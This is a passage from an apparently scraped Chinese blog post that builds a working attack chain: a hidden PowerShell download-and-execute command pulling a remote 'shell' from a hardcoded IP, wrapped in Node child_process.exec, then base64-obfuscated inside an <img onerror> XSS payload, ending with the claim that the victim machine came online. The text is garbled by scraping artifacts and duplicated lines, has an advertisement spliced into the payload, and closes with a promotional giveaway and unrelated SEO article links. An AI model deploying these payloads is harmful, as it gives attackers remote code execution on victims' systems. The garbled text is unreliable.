powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"

xxxxxxxxxxbrpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"br

即:

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');

xxxxxxxxxxbrrequire('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');br

为了更好地 Bypass,我们可以将 payload 进行 base64 转化一下,终极的 Payload 如下:

<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'>+WX:machinegunjoe666免费领取资料

xxxxxxxxxxbr<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'>+WX:machinegunjoe666免费领取资料br

如下图所示,受害机成功上线:

福利分享:

看到这里的大佬,动动发财的小手 点赞 + 回答 + 收藏,能【 关注 】一波就更好了

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货紧张有:

①1000+CTF历届题库(主流和经典的该当都有了)

②CTF技能文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适宜小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2021密码学/隐身术/PWN技能手册大全

各位朋友们可以关注+评论一波 私信【资料】 即可免费获取全部资料

标签:

相关文章

介绍百度网盘,云端存储时代的创新先锋

随着互联网技术的飞速发展,云计算已经成为现代生活不可或缺的一部分。而在这其中,百度网盘作为国内领先的云存储服务提供商,以其卓越的性...

SEO优化 2025-01-03 阅读1 评论0

介绍监控屏蔽技术,守护个人隐私的利器

随着科技的发展,监控设备已经深入到我们生活的方方面面。在享受便利的隐私安全问题也日益凸显。如何有效屏蔽监控,保护个人隐私,成为人们...

SEO优化 2025-01-03 阅读1 评论0

介绍番号观看方法,轻松驾驭影视世界

随着互联网的普及,网络影视资源日益丰富,番号作为影视作品的标识码,已经成为广大观众了解、搜索和观看影视作品的重要途径。如何正确地使...

SEO优化 2025-01-03 阅读1 评论0

介绍盗微信号黑幕,网络安全的严峻挑战

在数字化时代,微信已成为人们生活中不可或缺的通讯工具。随着微信用户数量的激增,盗微信号的事件也日益增多。本文将深入剖析盗微信号的方...

SEO优化 2025-01-03 阅读1 评论0